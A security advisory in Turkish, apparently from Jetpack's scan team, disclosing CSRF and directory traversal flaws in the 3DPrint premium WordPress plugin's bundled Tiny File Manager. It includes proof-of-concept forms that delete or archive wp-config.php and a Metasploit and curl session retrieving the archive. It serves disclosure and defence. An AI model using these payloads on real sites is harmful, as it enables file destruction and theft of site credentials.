3DPrint Premium Eklentisinde Bulunan Güvenlik Açıkları

Yayınlanan: 2022-12-13

WordPress eklentisi 3DPrint'in premium sürümü, dosya yöneticisi işlevi etkinleştirildiğinde Siteler Arası İstek Sahteciliği (CSRF) ve dizin geçişi saldırılarına karşı savunmasızdır. Bu güvenlik açıkları, bir saldırganın, site yapılandırma dosyaları gibi hassas dosyalar da dahil olmak üzere, etkilenen sitelerdeki rasgele dosya ve dizinleri silmesine veya bunlara erişmesine olanak tanır ve bu da yine tam sitenin ele geçirilmesine yol açabilir.

Son zamanlarda, deneysel imzalarımız tarafından işaretlenen bazı olası yanlış pozitifleri incelerken, 3DPrint premium eklentisinde bizi şaşırtan bazı kodlar keşfettik.

require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );

global $wpdb;

set_time_limit(0);
ini_set( 'memory_limit', '-1' );

Bu snippet, eklentinin içerme dizininde bulunan Tiny File Manager PHP modülünde bulundu, ancak orijinal Tiny File Manager projesinde bulunamadı. WordPress rol tabanlı erişim kontrolleriyle entegre etme niyetiyle enjekte edilmiş gibi görünüyor.

Bunun gibi WordPress kod dosyalarını ilgisiz bir modüle yüklemek, genellikle bir şeylerin yolunda gitmediğinin bir işaretidir, bu yüzden daha fazla araştırmaya karar verdik.

Gözlemci okuyucu, modüle erişimin Yönetici rolüne sahip kullanıcılarla sınırlı olduğunu ancak hiçbir kontrol olmadığını fark edecektir. Tiny File Manager'ın kendi CSRF koruması olsaydı bu sorun olmazdı, ancak durum böyle olmadığından, bu kod bir CSRF saldırısına açık olabilir gibi görünüyor. (Tiny File Manager, sorundan haberdar olmamızın ardından CSRF korumasını ekledi. Sürüm 2.5.0 ve sonraki sürümlerin kullanımı çok daha güvenli olacaktır!)

Karmaşık bir faktör, Tiny File Manager'ın 3DPrint premium yüklenirken pakete dahil edilmemesi , ancak etkinleştirildiğinde talep üzerine indirilmesidir. Yazma sırasında indirilen sürüm 2.4.4 sürümüdür, ancak 3DPrint geliştiricileri tarafından büyük ölçüde değiştirilmiştir ve doğrudan Tiny File Manager depolarından değil, onların etki alanlarından indirilir.

Yapılan değişikliklerin çoğu, eklenti tarafından kullanılmayan işlevselliğin yanı sıra, dosya yöneticisinin erişebilmesi gerekenleri sınırlayan yolu sabit kodlama gibi birkaç başka değişikliği de kaldırır. Ek olarak, Tiny File Manager'da yerleşik olarak bulunan kimlik doğrulama ve yetkilendirme özellikleri devre dışı bırakıldı ve yerini WordPress rol sistemiyle yukarıdaki entegrasyon aldı.

Değiştirilen erişim kontrolleri ve Tiny File Manager'ın 3DPrint eklentisine dahil edilmesinin birleşiminin dışarıdan bir saldırgan tarafından yararlanılabileceği birkaç güvenlik açığı keşfettik. Bu, potansiyel olarak tüm sitenin devralınmasına izin veren hassas dosyaların silinmesini veya indirilmesini içerir. Bu güvenlik açıkları, Tiny File Manager'ın kendisindeki dizin geçişi güvenlik açıklarının yanı sıra, değiştirilmiş erişim denetimlerindeki nonce denetimlerinin olmamasından yararlanır.

Hem 3DPrint eklentisinin hem de Tiny File Manager projesinin satıcısıyla iletişime geçmeye çalıştık. Bunlardan yalnızca Tiny File Manager projesinin geliştiricileri bize yanıt verdi ve kendilerine sunduğumuz sorunları düzeltti.

Bu saldırılara karşı kutudan çıkar çıkmaz koruma sağlayacak olan Jetpack Scan'in bir parçası olan yeni WAF'ımıza göz atın. Şu anda beta aşamasında. Jetpack Scan ayrıca güvenlik açığı bulunan bileşeni algılar ve kaldırılmasına yardımcı olur.

Tiny File Manager modülü isteğe bağlı olarak indirilip kurulduğundan, eklenti sürümü ile kullanılan Tiny File Manager sürümü arasında mutlaka bir uyum olması gerekmez. Bununla birlikte, bir kez yüklendikten sonra, Tiny File Manager modülünü güncellemenin manuel olarak silip yeniden etkinleştirmek dışında kolay bir yolu yok gibi görünüyor.

Bu nedenle, dosya yöneticisi etkinleştirildiyse, 3DPrint'in tüm sürümlerinin aşağıdaki güvenlik açıklarına karşı savunmasız olduğunu düşünüyoruz.

güvenlik açıkları

1. Rastgele dosya/dizin silmeye yol açan CSRF

  • Eklenti: 3DPrint
  • Eklenti bilgisi: 3dprint
  • Eklenti URI'si: http://www.wp3dprinting.com/2015/07/29/changelog/
  • Güvenlik açığı bulunan sürümler: tümü
  • Sabit sürüm: yok
  • CVSS Puanı: 8,2 (Yüksek, CVSS:3,1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L)
  • CVE: CVE-2022-3899

Tiny File Manager'ın dahil edilen sürümündeki (sürüm 2.4.4) toplu silme işlevi, dizin geçişine karşı uygun şekilde korunmaz ve ayrıca CSRF korumalarından yoksundur. Bu, bir saldırganın bir yöneticiyi kandırarak sunucudaki birden çok dosyayı ve hatta dizini yinelemeli olarak silmesine olanak tanır.

// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg('Selected files and folder deleted');
        } else {
            fm_set_msg('Error while deleting items', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

Bu, group ve delete POST parametrelerini herhangi bir değere geçirerek ve file parametresinde silinecek bir dosya/dizin dizisini geçirerek kullanılabilir. $new_path değişkeni, FM_ROOT_PATH ile dosya adına iletilen, özyinelemeli fm_rdelete() silme işlevine iletilen basit bir birleşimidir. fm_rdelete() kendisine verilen yol adlarını doğrulamadığından, bu kodu bir dizin geçiş saldırısına karşı savunmasız hale getirir.

İşte bir kavram kanıtı örneği:

<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="delete" value="1">
    <input type="hidden" name="file[1]" value="../2020">
    <input type="hidden" name="file[2]" value="../../../wp-config.php">
    <input type="submit" value="Get rich!">
</form>

Tüm yollar, sunucudaki wp-content/uploads/p3d/ dizinine göredir. Oturum açmış herhangi bir yönetici zengin olmak için düğmeyi tıkladığında, 2020'deki yüklemeleri sitenin wp-config.php dosyasıyla birlikte silinecektir.

2. Keyfi indirmelere yol açan CSRF

  • Eklenti: 3DPrint
  • Eklenti bilgisi: 3dprint
  • Eklenti URI'si: http://www.wp3dprinting.com/2015/07/29/changelog/
  • Güvenlik açığı bulunan sürümler: tümü
  • Sabit sürüm: yok
  • CVSS Puanı: 7,4 (Yüksek, CVSS:3,1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
  • CVE: CVE-2022-4023

Tiny File Manager'ın dahil edilen sürümündeki (sürüm 2.4.4), seçilen dosyaların bir zip veya tar arşivini indirme işlevi, dizin geçişine karşı korumalı değildir ve CSRF korumalarından yoksundur. Bu, bir saldırganın bir yöneticiyi, yapılandırma dosyaları veya diğer hassas içerikler de dahil olmak üzere siteden rastgele dosya ve dizinlerle bir zip veya tar arşivi oluşturması için kandırmasına olanak tanır.

Arşiv, normal 3DPring yükleme dizinine yerleştirilir, wp-content/uploads/p3d/ . Dosya adı, saldırgan tarafından yalnızca kısmen kontrol edilebilir, ancak kaba kuvvetle nispeten kolay olacak kadar tahmin edilebilir. Sahte talebin ne zaman gönderildiğini biliyorlarsa, eğitimli bir tahminde bulunmak da önemsiz olmalıdır.

// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';
    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

group bir gönderi isteği göndererek ve herhangi bir değere ayarlanmış zip veya tar değişkenleri, file parametresinde belirtilen dosyalarla bir arşiv oluşturur. Geçerli tarih ve saat, arşivlenen dosyayla aynı temel ada sahip olacak şekilde arşivin dosya adına eklenir veya birkaç dosya birlikte arşivlenirse “arşiv” olur. Arşiv, 3DPrint yükleme dizininde oluşturulacaktır, ancak dosyaların yol adları temizlenmez ve bu dizinin dışında yollar içerebilir, bu da onu dizin geçiş saldırılarına karşı savunmasız hale getirir.

Bu güvenlik açığından yararlanmak için, Metasploit için, güvenlik açığı bulunan siteye kötü amaçlı yük ile kendi kendine gönderen bir form görevi gören basit bir yük modülü oluşturduk. Gönderilen kavram kanıtı yükü şuydu:

<!DOCTYPE html>
<html>
  <body>
    <form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
      <input type="hidden" name="group" value="1">
      <input type="hidden" name="zip" value="1">
      <input type="hidden" name="file[1]" value="../2022">
      <input type="hidden" name="file[2]" value="../../../wp-config.php">
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>

Metasploit modülü, formun ne zaman gönderildiğinin zaman damgasını kaydedeceğinden, oluşturulan arşiv için doğru dosya adını tahmin etmeyi kolaylaştırdı.

% msfconsole                                                                                
                                                  
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00

msf6 payload(html/html_reverse_http) > exit

% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200 
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes


% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 87225  100 87225    0     0  2322k      0 --:--:-- --:--:-- --:--:-- 2366k

% unzip -v archive_221210_100649.zip 
Archive:  archive_221210_100649.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/12/
   85888  Defl:X    85655   0% 2022-12-10 10:05 724f1f67  ../2022/12/funny-cat.jpg
    1955  Defl:X     1114  43% 2022-11-01 23:25 96f2088a  ../../../wp-config.php
--------          -------  ---                            -------
   87843            86769   1%                            4 files

Oluşturulan arşivin dosya adını isteğin zaman damgasından nasıl çıkarabileceğimize dikkat edin. Bu durumda, sunucu kapsayıcısı yerel saat diliminin bir saat diliminde çalışıyor.

öneriler

Yüklenen dosya yöneticisinin sürümü, yüklenen eklentinin sürümünden bağımsız olduğundan, eklentinin sabit bir sürümünü öneremiyoruz.

Daha sonraki bir tarihte yeni bir sürüm çıkarsa, dosya yöneticisi modülünü güncellemenin kolay bir yolunu da bulamadık.

Bu nedenle, dosya yöneticisi bileşeni etkinleştirildiyse, 3DPrint premium eklentisinin tüm sürümlerini savunmasız kabul ediyoruz.

Tavsiyemiz, dosya yöneticisi modülünün devre dışı olduğundan emin olunması ve dosyanın siteden kaldırılmasıdır.

En kolay yol, varsa wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php dosyasını silmektir.

Sonuçlar

3DPrint premium eklentisinin tüm sürümleri, sitede dosya yöneticisi modülü etkinleştirildiyse, CSRF ve dizin geçiş saldırılarına karşı savunmasızdır. Bu, WordPress.org eklenti deposundan indirilen eklentinin ücretsiz sürümünü etkilemez.

Jetpack'te, web sitelerinizin bu tür güvenlik açıklarından korunmasını sağlamak için çok çalışıyoruz. Siteniz için kötü amaçlı dosya tarama ve yedeklemeleri içeren bir güvenlik planınız olmasını öneririz. Jetpack Güvenlik paketi, sitenizin ve ziyaretçilerinizin güvende olmasını sağlamak için harika bir WordPress güvenlik seçeneğidir. Bu ürün, gerçek zamanlı kötü amaçlı yazılım taraması, site yedeklemeleri, Akismet'ten yorum ve form spam koruması, kaba kuvvet saldırı koruması ve daha fazlasını içerir.

Kredi

Benedict Singer, Rob Pugh, Jen Swisher ve Jetpack Scan ekibi tarafından sağlanan geri bildirim ve düzeltmelerle Harald Eilertsen tarafından yapılan araştırma.

Zaman çizelgesi

  • 2022-09-08: Bulgudan haberdar olduk ve araştırmaya başladık
  • 2022-10-25: Satıcıyla ilk kez iletişime geçildi
  • 2022-11-01: Satıcı, farklı bir kanal üzerinden ikinci kez iletişime geçti
  • 2022-11-08: Toplu silme güvenlik açığı açıklandı (CVE-2022-3899)
  • 2022-11-15: Tiny File Manager geliştiricileriyle CSRF koruması eksikliği ve dizin geçişi güvenlik açıkları hakkında iletişime geçildi.
  • 2022-11-19: Tiny File Manager 2.5.0 yayınlandı, CSRF sorunlarını düzeltti ancak dizin geçişi sorunlarını çözmedi.
  • 2022-12-13: Kamuya açıklama